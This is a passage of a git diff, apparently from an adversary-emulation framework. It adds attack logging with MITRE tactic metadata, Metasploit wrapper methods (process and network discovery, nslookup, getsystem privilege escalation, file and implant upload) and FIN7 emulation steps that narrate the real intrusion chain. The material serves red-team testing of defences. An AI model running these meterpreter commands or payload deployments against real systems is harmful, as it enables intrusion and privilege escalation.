diff --git a/app/attack_log.py b/app/attack_log.py index 62a2e81..14b366c 100644 --- a/app/attack_log.py +++ b/app/attack_log.py @@ -4,6 +4,7 @@ import json import datetime +from random import randint def __mitre_fix_ttp__(ttp): @@ -45,7 +46,60 @@ class AttackLog(): return datetime.datetime.now().strftime(self.datetime_format) - def start_caldera_attack(self, source, paw, group, ability_id, ttp=None, name=None, description=None, obfuscator="default", jitter="default"): # pylint: disable=too-many-arguments + def get_caldera_default_name(self, ability_id): + """ Returns the default name for this ability based on a db """ + data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "whoami"} + if ability_id not in data: + return None + + return data[ability_id] + + def get_caldera_default_description(self, ability_id): + """ Returns the default description for this ability based on a db """ + + data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "Obtain user from current session"} + if ability_id not in data: + return None + + return data[ability_id] + + def get_caldera_default_tactics(self, ability_id): + """ Returns the default tactics for this ability based on a db """ + + data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": " System Owner/User Discovery"} + if ability_id not in data: + return None + + return data[ability_id] + + def get_caldera_default_tactics_id(self, ability_id): + """ Returns the default name for this ability based on a db """ + + data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "T1033"} + if ability_id not in data: + return None + + return data[ability_id] + + def get_caldera_default_situation_description(self, ability_id): + """ Returns the default situation description for this ability based on a db """ + + data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None} + if ability_id not in data: + return None + + return data[ability_id] + + def get_caldera_default_countermeasure(self, ability_id): + """ Returns the default countermeasure for this ability based on a db """ + + data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None} + if ability_id not in data: + return None + + return data[ability_id] + + def start_caldera_attack(self, source, paw, group, ability_id, ttp=None, **kwargs): """ Mark the start of a caldera attack @param source: source of the attack. Attack IP @@ -53,34 +107,41 @@ class AttackLog(): @param group: Caldera group of the targets being attacked @param ability_id: Caldera ability id of the attack @param ttp: TTP of the attack (as stated by Caldera internal settings) - @param name: Name of the attack. Data source is Caldera internal settings - @param description: Descirption of the attack. Caldera is the source - @param obfuscator: C&C obfuscator being used - @param jitter: Jitter being used """ - data = {"timestamp": self.__get_timestamp__(), + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, "event": "start", "type": "attack", - "sub-type": "caldera", + "sub_type": "caldera", "source": source, "target_paw": paw, "target_group": group, "ability_id": ability_id, "hunting_tag": __mitre_fix_ttp__(ttp), - "name": name or "", - "description": description or "", - "obfuscator": obfuscator, - "jitter": jitter + "logid": logid, + "name": kwargs.get("name", self.get_caldera_default_name(ability_id)), + "description": kwargs.get("description", self.get_caldera_default_description(ability_id)), + "tactics": kwargs.get("tactics", self.get_caldera_default_tactics(ability_id)), + "tactics_id": kwargs.get("tactics_id", self.get_caldera_default_tactics_id(ability_id)), + "situation_description": kwargs.get("situation_description", self.get_caldera_default_situation_description(ability_id)), # Description for the situation this attack was run in. Set by the plugin or attacker emulation + "countermeasure": kwargs.get("countermeasure", self.get_caldera_default_countermeasure(ability_id)), # Set by the attack + "obfuscator": kwargs.get("obfuscator", "default"), + "jitter": kwargs.get("jitter", "default"), } self.__add_to_log__(data) + return logid + # TODO: Add parameter # TODO: Add config # TODO: Add results - def stop_caldera_attack(self, source, paw, group, ability_id, ttp=None, name=None, description=None, obfuscator="default", jitter="default"): # pylint: disable=too-many-arguments + def stop_caldera_attack(self, source, paw, group, ability_id, ttp=None, **kwargs): """ Mark the end of a caldera attack @param source: source of the attack. Attack IP @@ -97,16 +158,17 @@ class AttackLog(): data = {"timestamp": self.__get_timestamp__(), "event": "stop", "type": "attack", - "sub-type": "caldera", + "sub_type": "caldera", "source": source, "target_paw": paw, "target_group": group, "ability_id": ability_id, "hunting_tag": __mitre_fix_ttp__(ttp), - "name": name or "", - "description": description or "", - "obfuscator": obfuscator, - "jitter": jitter + "name": kwargs.get("name", ""), + "description": kwargs.get("description", ""), + "obfuscator": kwargs.get("obfuscator", "default"), + "jitter": kwargs.get("jitter", "default"), + "logid": kwargs.get("logid", None) } self.__add_to_log__(data) @@ -118,33 +180,44 @@ class AttackLog(): @param file_name: Name of the file being written """ - data = {"timestamp": self.__get_timestamp__(), + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, "event": "start", "type": "dropping_file", - "sub-type": "by PurpleDome", + "sub_type": "by PurpleDome", "source": source, "target": target, - "file_name": file_name + "file_name": file_name, + "logid": logid } self.__add_to_log__(data) + return logid - def stop_file_write(self, source, target, file_name): + def stop_file_write(self, source, target, file_name, **kwargs): """ Mark the stop of a file being written to the target (payload !) @param source: source of the attack. Attack IP (empty if written from controller) @param target: Target machine of the attack @param attack_name: Name of the attack. From plugin @param file_name: Name of the file being written + @param logid: logid of the corresponding start command + + kwargs: logid to link to start_file_write """ data = {"timestamp": self.__get_timestamp__(), "event": "stop", "type": "dropping_file", - "sub-type": "by PurpleDome", + "sub_type": "by PurpleDome", "source": source, "target": target, - "file_name": file_name + "file_name": file_name, + "logid": kwargs.get("logid", None) } + self.__add_to_log__(data) def start_execute_payload(self, source, target, command): @@ -155,36 +228,45 @@ class AttackLog(): @param command: Name of the file being written """ - data = {"timestamp": self.__get_timestamp__(), + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, "event": "start", "type": "execute_payload", - "sub-type": "by PurpleDome", + "sub_type": "by PurpleDome", "source": source, "target": target, - "command": command + "command": command, + "logid": logid } self.__add_to_log__(data) - def stop_execute_payload(self, source, target, command): + return logid + + def stop_execute_payload(self, source, target, command, **kwargs): """ Mark the stop of a payload being executed @param source: source of the attack. Attack IP (empty if written from controller) @param target: Target machine of the attack @param command: Name of the attack. From plugin @param file_name: Name of the file being written + @param kwargs: logid to link to start_file_write """ data = {"timestamp": self.__get_timestamp__(), "event": "stop", "type": "execute_payload", - "sub-type": "by PurpleDome", + "sub_type": "by PurpleDome", "source": source, "target": target, - "command": command + "command": command, + "logid": kwargs.get("logid", None) } self.__add_to_log__(data) - def start_kali_attack(self, source, target, attack_name, ttp=None): + def start_kali_attack(self, source, target, attack_name, ttp=None, **kwargs): """ Mark the start of a Kali based attack @param source: source of the attack. Attack IP @@ -193,22 +275,36 @@ class AttackLog(): @param ttp: TTP of the attack. From plugin """ - data = {"timestamp": self.__get_timestamp__(), + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, "event": "start", "type": "attack", - "sub-type": "kali", + "sub_type": "kali", "source": source, "target": target, "kali_name": attack_name, "hunting_tag": __mitre_fix_ttp__(ttp), + "logid": logid, + "name": kwargs.get("name", None), # Human readable name of the attack + "kali_command": kwargs.get("kali_command", None), + "tactics": kwargs.get("tactics", None), + "tactics_id": kwargs.get("tactics_id", None), + "description": kwargs.get("description", None), # Generic description for this attack. Set by the attack + "situation_description": kwargs.get("situation_description", None), # Description for the situation this attack was run in. Set by the plugin or attacker emulation + "countermeasure": kwargs.get("countermeasure", None), # Set by the attack } self.__add_to_log__(data) + return logid + # TODO: Add parameter # TODO: Add config # TODO: Add results - def stop_kali_attack(self, source, target, attack_name, ttp=None): + def stop_kali_attack(self, source, target, attack_name, ttp=None, **kwargs): """ Mark the end of a Kali based attack @param source: source of the attack. Attack IP @@ -220,15 +316,35 @@ class AttackLog(): data = {"timestamp": self.__get_timestamp__(), "event": "stop", "type": "attack", - "sub-type": "kali", + "sub_type": "kali", "source": source, "target": target, "kali_name": attack_name, "hunting_tag": __mitre_fix_ttp__(ttp), + "logid": kwargs.get("logid", None) + } + self.__add_to_log__(data) + + def start_narration(self, text): + """ Add some user defined narration. Can be used in plugins to describe the situation before and after the attack, ... + At the moment there is no stop narration command. I do not think we need one. But I want to stick to the structure + + @param text: Text of the narration + """ + + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "event": "start", + "type": "narration", + "sub_type": "user defined narration", + "text": text, } self.__add_to_log__(data) + return logid - def start_metasploit_attack(self, source, target, metasploit_command, ttp=None): + def start_metasploit_attack(self, source, target, metasploit_command, ttp=None, **kwargs): """ Mark the start of a Metasploit based attack @param source: source of the attack. Attack IP @@ -237,18 +353,31 @@ class AttackLog(): @param ttp: TTP of the attack. From plugin """ - data = {"timestamp": self.__get_timestamp__(), + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, "event": "start", "type": "attack", - "sub-type": "metasploit", + "sub_type": "metasploit", "source": source, "target": target, "metasploit_command": metasploit_command, "hunting_tag": __mitre_fix_ttp__(ttp), + "logid": logid, + "name": kwargs.get("name", None), # Human readable name of the attack + "tactics": kwargs.get("tactics", None), + "tactics_id": kwargs.get("tactics_id", None), + "description": kwargs.get("description", None), # Generic description for this attack. Set by the attack + "situation_description": kwargs.get("situation_description", None), # Description for the situation this attack was run in. Set by the plugin or attacker emulation + "countermeasure": kwargs.get("countermeasure", None), # Set by the attack } self.__add_to_log__(data) - def stop_metasploit_attack(self, source, target, metasploit_command, ttp=None): + return logid + + def stop_metasploit_attack(self, source, target, metasploit_command, ttp=None, **kwargs): """ Mark the start of a Metasploit based attack @param source: source of the attack. Attack IP @@ -260,11 +389,12 @@ class AttackLog(): data = {"timestamp": self.__get_timestamp__(), "event": "stop", "type": "attack", - "sub-type": "metasploit", + "sub_type": "metasploit", "source": source, "target": target, "metasploit_command": metasploit_command, "hunting_tag": __mitre_fix_ttp__(ttp), + "logid": kwargs.get("logid", None) } self.__add_to_log__(data) @@ -277,38 +407,46 @@ class AttackLog(): @param ttp: TTP of the attack. From plugin """ - data = {"timestamp": self.__get_timestamp__(), + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, "event": "start", "type": "attack", - "sub-type": "attack_plugin", + "sub_type": "attack_plugin", "source": source, "target": target, "plugin_name": plugin_name, "hunting_tag": __mitre_fix_ttp__(ttp), + "logid": logid } self.__add_to_log__(data) + return logid # TODO: Add parameter # TODO: Add config # TODO: Add results - def stop_attack_plugin(self, source, target, plugin_name, ttp=None): + def stop_attack_plugin(self, source, target, plugin_name, **kwargs): """ Mark the end of an attack plugin @param source: source of the attack. Attack IP @param target: Target machine of the attack @param plugin_name: Name of the plugin - @param ttp: TTP of the attack. From plugin + @param logid: logid of the corresponding start command + @param kwargs: *ttp*, *logid* """ data = {"timestamp": self.__get_timestamp__(), "event": "stop", "type": "attack", - "sub-type": "attack_plugin", + "sub_type": "attack_plugin", "source": source, "target": target, "plugin_name": plugin_name, - "hunting_tag": __mitre_fix_ttp__(ttp), + "hunting_tag": __mitre_fix_ttp__(kwargs.get("ttp", None)), + "logid": kwargs.get("logid", None) } self.__add_to_log__(data) @@ -320,11 +458,31 @@ class AttackLog(): with open(filename, "wt") as fh: json.dump(self.get_dict(), fh) + def post_process(self): + """ Post process the data before using it """ + + for entry in self.log: + if entry["event"] == "stop" and "logid" in entry and entry["logid"] is not None: + # Search for matching start event and add timestamp + logid = entry["logid"] + for replace_entry in self.log: + if replace_entry["event"] == "start" and "logid" in replace_entry and replace_entry["logid"] == logid: + # Found matching start event. Updating it + replace_entry["timestamp_end"] = entry["timestamp"] + def get_dict(self): """ Return logged data in dict format """ return self.log + # TODO: doc_start_environment + + # TODO: doc_describe_attack + + # TODO: doc_attack_step + + # TODO: Return full doc + def vprint(self, text, verbosity): """ verbosity based stdout printing diff --git a/app/calderacontrol.py b/app/calderacontrol.py index b1193f2..cf54039 100644 --- a/app/calderacontrol.py +++ b/app/calderacontrol.py @@ -589,7 +589,7 @@ class CalderaControl(): # ######## All inclusive methods - def attack(self, paw="kickme", ability_id="bd527b63-9f9e-46e0-9816-b8434d2b8989", group="red", target_platform=None, parameters=None): + def attack(self, paw="kickme", ability_id="bd527b63-9f9e-46e0-9816-b8434d2b8989", group="red", target_platform=None, parameters=None, **kwargs): """ Attacks a system and returns results @param paw: Paw to attack @@ -633,7 +633,8 @@ class CalderaControl(): name=self.get_ability(ability_id)[0]["name"], description=self.get_ability(ability_id)[0]["description"], obfuscator=obfuscator, - jitter=jitter + jitter=jitter, + **kwargs ) # ##### Create / Run Operation diff --git a/app/config.py b/app/config.py index 2265965..0b934c0 100644 --- a/app/config.py +++ b/app/config.py @@ -67,7 +67,7 @@ class MachineConfig(): try: return self.raw_config["vm_controller"]["ip"] except KeyError: - return None + return self.vmname() def os(self): # pylint: disable=invalid-name """ returns the os. lowercase """ diff --git a/app/metasploit.py b/app/metasploit.py index 72203cb..fa15cd6 100644 --- a/app/metasploit.py +++ b/app/metasploit.py @@ -313,12 +313,12 @@ class MSFVenom(): 1) # Deploy to target if self.attack_logger: - self.attack_logger.start_file_write("", self.target.get_name(), payload_name) + logid = self.attack_logger.start_file_write("", self.target.get_name(), payload_name) playground = self.target.get_playground() print(f"Putting to playground {playground}") self.target.put(src, playground) if self.attack_logger: - self.attack_logger.stop_file_write("", self.target.get_name(), payload_name) + self.attack_logger.stop_file_write("", self.target.get_name(), payload_name, logid=logid) if self.target.get_os() == "linux": if self.target.get_playground() is not None: @@ -332,11 +332,11 @@ class MSFVenom(): print(cmd) if self.attack_logger: - self.attack_logger.start_execute_payload("", self.target.get_name(), cmd) + logid = self.attack_logger.start_execute_payload("", self.target.get_name(), cmd) res = self.target.remote_run(cmd, disown=True) print(f"Running payload, result is {res}") if self.attack_logger: - self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd) + self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd, logid=logid) self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}", 1) @@ -402,25 +402,36 @@ class MetasploitInstant(Metasploit): res = [item for item in res if item["Arch"] == arch] return res - def ps_process_discovery(self, target): + def ps_process_discovery(self, target, **kwargs): """ Do a process discovery on the target """ command = "ps -ax" ttp = "T1057" + tactics = "Discovery" + tactics_id = "TA0007" + description = "Process discovery can be used to identify running security solutions, processes with elevated privileges, interesting services." self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) - self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), - target=target.get_ip(), - metasploit_command=command, - ttp=ttp) + logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + name="ps", + description=description, + tactics=tactics, + tactics_id=tactics_id, + situation_description=kwargs.get("situation_description", None), + countermeasure=kwargs.get("countermeasure", None) + ) res = self.meterpreter_execute_on([command], target) self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), target=target.get_ip(), metasploit_command=command, - ttp=ttp) + ttp=ttp, + logid=logid) return res def migrate(self, target, user=None, name=None, arch=None): @@ -457,47 +468,112 @@ class MetasploitInstant(Metasploit): ttp=ttp) return res - def arp_network_discovery(self, target): + def arp_network_discovery(self, target, **kwargs): """ Do a network discovery on the target """ command = "arp" ttp = "T1016" + tactics = "Discovery" + tactics_id = "TA0007" + description = "Network discovery can be a first step for lateral movement." self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) - self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), - target=target.get_ip(), - metasploit_command=command, - ttp=ttp) + logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + name="arp", + description=description, + tactics=tactics, + tactics_id=tactics_id, + situation_description=kwargs.get("situation_description", + None), + countermeasure=kwargs.get("countermeasure", None) + ) res = self.meterpreter_execute_on([command], target) print(res) self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), target=target.get_ip(), metasploit_command=command, - ttp=ttp) + ttp=ttp, + logid=logid) + return res + + def nslookup(self, target, target2, **kwargs): + """ Do a nslookup discovery on the target + + @param target: Command runs here + @param target2: This one is looked up + """ + + command = f"execute -f nslookup.exe -H -i -a '{target2.get_ip()}'" + ttp = "T1018" + tactics = "Discovery" + tactics_id = "TA0007" + description = "Nslookup to get information on a specific target" + + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) + + logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + name="nslookup", + description=description, + tactics=tactics, + tactics_id=tactics_id, + situation_description=kwargs.get("situation_description", + None), + countermeasure=kwargs.get("countermeasure", None) + ) + res = self.meterpreter_execute_on([command], target) + print(res) + self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + logid=logid) return res - def getsystem(self, target): + def getsystem(self, target, **kwargs): """ Do a network discovery on the target """ command = "getsystem" ttp = "????" # It uses one out of three different ways to elevate privileges. + tactics = "Privilege Escalation" + tactics_id = "TA0004" + description = """ +Elevate privileges from local administrator to SYSTEM. Three ways to do that will be tried: +* named pipe impersonation using cmd +* named pipe impersonation using a dll +* token duplication +""" # https://docs.rapid7.com/metasploit/meterpreter-getsystem/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) - self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), - target=target.get_ip(), - metasploit_command=command, - ttp=ttp) + logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + name="getsystem", + description=description, + tactics=tactics, + tactics_id=tactics_id, + situation_description=kwargs.get("situation_description", None), + countermeasure=kwargs.get("countermeasure", None) + ) res = self.meterpreter_execute_on([command], target) print(res) self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), target=target.get_ip(), metasploit_command=command, - ttp=ttp) + ttp=ttp, + logid=logid) return res def clearev(self, target): @@ -625,3 +701,42 @@ class MetasploitInstant(Metasploit): metasploit_command=command, ttp=ttp) return res[0] + + def upload(self, target, src, dst, **kwargs): + """ Upload file from metasploit controller to target + + @param src: source file name on metasploit controller + @param dst: destination file name on target machine + """ + + command = f"upload {src} '{dst}' " + ttp = "????" # It uses one out of three different ways to elevate privileges. + tactics = "???" + tactics_id = "???" + description = """ +Uploading new files to the target. Can be config files, tools, implants, ... +""" + + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) + + logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + name="upload", + description=description, + tactics=tactics, + tactics_id=tactics_id, + situation_description=kwargs.get("situation_description", + None), + countermeasure=kwargs.get("countermeasure", None) + ) + res = self.meterpreter_execute_on([command], target, kwargs.get("delay", 10)) + print(res) + self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + logid=logid) + return res diff --git a/doc_generator.py b/doc_generator.py new file mode 100755 index 0000000..5280d6c --- /dev/null +++ b/doc_generator.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python3 + +# A standalon document generator. Takes an attack log and generates a doc using templates. Functionality will later be merged into PurpleDome + +import json +from jinja2 import Environment, FileSystemLoader, select_autoescape +# from pprint import pprint + + +def generate(jfile, outfile): + env = Environment( + loader=FileSystemLoader("templates", encoding='utf-8', followlinks=False), + autoescape=select_autoescape(), + trim_blocks=True, + lstrip_blocks=True + ) + template = env.get_template("attack_description.rst") + + with open(jfile) as fh: + events = json.load(fh) + + print(template.render(events=events)) + # pprint(events) + # dest = os.path.join(self.get_plugin_path(), "filebeat.conf") + # with open(dest, "wt") as fh: + # res = template.render({"playground": self.get_playground()}) + # fh.write(res) + + +if __name__ == "__main__": + # generate("loot/2021_07_19___16_28_45/attack.json", "tools/human_readable_documentation/contents.rst") # Working example for a short run + # generate("loot/2021_07_20___08_26_33/attack.json", "tools/human_readable_documentation/contents.rst") # FIN 7 #1 + generate("loot/2021_07_20___10_07_36/attack.json", "tools/human_readable_documentation/contents.rst") # FIN 7 #2 + + # generate("loot/2021_07_19___15_10_45/attack.json", "tools/human_readable_documentation/contents.rst") + # generate("removeme.json", "tools/human_readable_documentation/contents.rst") diff --git a/plugins/base/attack.py b/plugins/base/attack.py index 9dea198..3f27a23 100644 --- a/plugins/base/attack.py +++ b/plugins/base/attack.py @@ -103,7 +103,7 @@ class AttackPlugin(BasePlugin): """ self.caldera = caldera - def caldera_attack(self, target, ability_id, parameters=None): + def caldera_attack(self, target, ability_id, parameters=None, **kwargs): """ Attack a single target using caldera @param target: Target machine object @@ -115,7 +115,8 @@ class AttackPlugin(BasePlugin): ability_id=ability_id, group=target.get_group(), target_platform=target.get_os(), - parameters=parameters + parameters=parameters, + **kwargs ) def get_attacker_playground(self): diff --git a/plugins/default/adversary_emulations/FIN7/fin7_section1.py b/plugins/default/adversary_emulations/FIN7/fin7_section1.py index 07c67ba..c86568e 100644 --- a/plugins/default/adversary_emulations/FIN7/fin7_section1.py +++ b/plugins/default/adversary_emulations/FIN7/fin7_section1.py @@ -4,7 +4,7 @@ from plugins.base.attack import AttackPlugin from app.interface_sfx import CommandlineColors -from app.metasploit import MSFVenom, Metasploit +from app.metasploit import MSFVenom, MetasploitInstant import os import time @@ -32,13 +32,29 @@ class FIN7Plugin(AttackPlugin): if self.metasploit_1: return self.metasploit_1 - self.metasploit_1 = Metasploit(self.metasploit_password, attack_logger=self.attack_logger, attacker=self.attacker_machine_plugin, username=self.metasploit_user) + self.metasploit_1 = MetasploitInstant(self.metasploit_password, attack_logger=self.attack_logger, attacker=self.attacker_machine_plugin, username=self.metasploit_user) self.metasploit_1.start_exploit_stub_for_external_payload(payload=self.payload_type_1) self.metasploit_1.wait_for_session() return self.metasploit_1 def step1(self): self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 1 (target hotelmanager): Initial Breach{CommandlineColors.ENDC}", 1) + + self.attack_logger.start_narration( + "Step 1 (target hotelmanager): Initial Breach\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET + +* RTF with VB payload (needs user interaction) +* playoad executed by mshta +* mshta build js payload +* mshta copies wscript.exe to ADB156.exe +* winword.exe spawns verclsid.exe (a normal tool that can download stuff, no idea yet what it is used for here) +* mshta uses taskschd.dll to create a task in 5 minutes + +This is the initial attack step that requires user interaction. Maybe it is better to reproduce those steps separately. They seem to be quite standard for any Ransomware infection. + +""") # TODOS: No idea if we can replicate that automated as those are manual tasks # RTF with VB payload (needs user interaction) @@ -52,6 +68,19 @@ class FIN7Plugin(AttackPlugin): def step2(self): self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 2 (target hotelmanager): Delayed Malware Execution{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration( + "Step 2 (target hotelmanager): Delayed Malware Execution\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET + +* scheduled task spawns Adb156.exe via svchost https://attack.mitre.org/techniques/T1053/005/ +* Adb156.exe loads scrobj.dll and executes sql-rat.js via jscript https://attack.mitre.org/techniques/T1059/007/ +* Adb156.exe connects via MSSQL to attacker server +* WMI quieries for network information and system information https://attack.mitre.org/techniques/T1016/ and https://attack.mitre.org/techniques/T1082/ (Caldera ?) + +In this simulation sql-rat.js communication will be replaced by Caldera communication. + +""") # scheduled task spawns Adb156.exe via svchost https://attack.mitre.org/techniques/T1053/005/ # Adb156.exe loads scrobj.dll and executes sql-rat.js via jscript https://attack.mitre.org/techniques/T1059/007/ @@ -63,6 +92,7 @@ class FIN7Plugin(AttackPlugin): def step3(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 3 (target hotelmanager): Target Assessment{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration("Step 3 (target hotelmanager): Target Assessment\n----------------------------") # TODO: Make sure logging is nice and complete @@ -72,16 +102,29 @@ class FIN7Plugin(AttackPlugin): # Execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}new view {CommandlineColors.ENDC}", 1) - self.caldera_attack(hotelmanager, "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": hotelmanager.get_ip()}) + self.caldera_attack(hotelmanager, + "deeac480-5c2a-42b5-90bb-41675ee53c7e", + parameters={"remote.host.fqdn": hotelmanager.get_ip()}, + tactics="Discovery", + tactics_id="TA0007", + situation_description="The attackers got a bastion system infected and start to evaluate the value of the network") # check for sandbox https://attack.mitre.org/techniques/T1497/ # The documentation does not define how it is checking exactly. self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}get-wmiobject win32_computersystem | fl model{CommandlineColors.ENDC}", 1) - self.caldera_attack(hotelmanager, "5dc841fd-28ad-40e2-b10e-fb007fe09e81") + self.caldera_attack(hotelmanager, + "5dc841fd-28ad-40e2-b10e-fb007fe09e81", + tactics="Defense Evasion", + tactics_id="TA0005", + situation_description="There are many more ways to identify if the attacker is running in a VM. This is just one.") # query username https://attack.mitre.org/techniques/T1033/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query USERNAME env{CommandlineColors.ENDC}", 1) - self.caldera_attack(hotelmanager, "c0da588f-79f0-4263-8998-7496b1a40596") + self.caldera_attack(hotelmanager, + "c0da588f-79f0-4263-8998-7496b1a40596", + tactics="Discovery", + tactics_id="TA0007" + ) # TODO: query computername https://attack.mitre.org/techniques/T1082/ # self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1) @@ -90,17 +133,27 @@ class FIN7Plugin(AttackPlugin): # TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/ # WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Network configuration discovery. Original is some WMI, here we are using nbstat{CommandlineColors.ENDC}", 1) - self.caldera_attack(hotelmanager, "14a21534-350f-4d83-9dd7-3c56b93a0c17") + self.caldera_attack(hotelmanager, + "14a21534-350f-4d83-9dd7-3c56b93a0c17", + tactics="Discovery", + tactics_id="TA0007") # System Info discovery https://attack.mitre.org/techniques/T1082/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}System info discovery, as close as it gets{CommandlineColors.ENDC}", 1) - self.caldera_attack(hotelmanager, "b6b105b9-41dc-490b-bc5c-80d699b82ce8") + self.caldera_attack(hotelmanager, + "b6b105b9-41dc-490b-bc5c-80d699b82ce8", + tactics="Discovery", + tactics_id="TA0007") # CMD.exe->powershell.exe, start takeScreenshot.ps1 https://attack.mitre.org/techniques/T1113/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Take screenshot{CommandlineColors.ENDC}", 1) - self.caldera_attack(hotelmanager, "316251ed-6a28-4013-812b-ddf5b5b007f8") + self.caldera_attack(hotelmanager, + "316251ed-6a28-4013-812b-ddf5b5b007f8", + tactics="Collection", + tactics_id="TA0009" + ) # TODO: Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/ self.attack_logger.vprint( @@ -168,7 +221,15 @@ class FIN7Plugin(AttackPlugin): """ self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 4 (target hotelmanager): Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) - + self.attack_logger.start_narration( + "Step 4 (target hotelmanager): Staging Interactive Toolkit\n----------------------------") + self.attack_logger.start_narration(""" +In the original attack Babymetal payload is a dll. Currently we are using a simplification here (directly calling a exe). The original steps are: +* Target already runs adb156.exe. This one gets the shellcode over the network connection and decodes it. +* adb156.exe executes cmd.exe which executes powershell.exe. It decodes embedded dll payload https://attack.mitre.org/techniques/T1059/003/ and https://attack.mitre.org/techniques/T1059/001/ +* Powershell cmdlet Invoke-Expression executes decoded dll https://attack.mitre.org/techniques/T1140/ +* The script invoke-Shellcode.ps1 loads shellcode into powershell.exe memory (Allocate memory, copy shellcode, start thread) (received from C2 server) https://attack.mitre.org/techniques/T1573/ +""") self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Create babymetal replacement{CommandlineColors.ENDC}", 1) @@ -208,6 +269,8 @@ class FIN7Plugin(AttackPlugin): def step5(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 5 (target hotelmanager): Escalate Privileges{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration( + "Step 5 (target hotelmanager): Escalate Privileges\n----------------------------") hotelmanager = self.get_target_by_name("hotelmanager") @@ -216,18 +279,27 @@ class FIN7Plugin(AttackPlugin): # powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute ps -ax through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on(["ps -ax"], hotelmanager)) + print(metasploit.ps_process_discovery(hotelmanager, + situation_description="The processes found here are not directly used (terminated, infected, ...). This is just a basic discovery step.", + countermeasures="None possible. This is a very standard behaviour. Could be interesting after some data on process behaviour got aggregated as additional info snippet.") + ) # powershell: GetIpNetTable() does ARP entries https://attack.mitre.org/techniques/T1016/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute arp through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on(["arp"], hotelmanager)) + # 